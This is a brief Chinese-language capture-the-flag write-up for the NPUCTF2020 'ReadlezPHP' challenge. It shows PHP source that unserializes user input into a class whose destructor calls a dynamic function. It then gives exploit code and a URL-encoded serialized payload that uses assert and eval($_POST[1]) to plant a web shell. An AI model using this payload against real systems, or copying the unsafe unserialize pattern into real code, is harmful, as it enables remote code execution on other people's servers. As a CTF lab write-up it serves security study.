[NPUCTF2020]ReadlezPHP 1

打开源代码发现了个./time.php?source

于是打开点进去

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

审计代码：

发现在__destruct()方法里面有 echo $b($a);

这个是php的特性，php可以通过这种方法动态调用方法。

思路很简单，只要把$b赋值为方法名字，吧$a赋值成调用的参数就行了。

我首先考虑的是system结果发现system好像被过滤了，于是自己搭了环境

<?php
highlight_file(__FILE__);
class HelloPhp
{
    public $a = 'eval($_POST[1])';
    public $b = "assert";
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
// system('dir');
    // $b = new HelloPhp;
$c = urlencode(serialize(new HelloPhp));
echo($c);
//O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A15%3A%22eval%28%24_POST%5B1%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
?>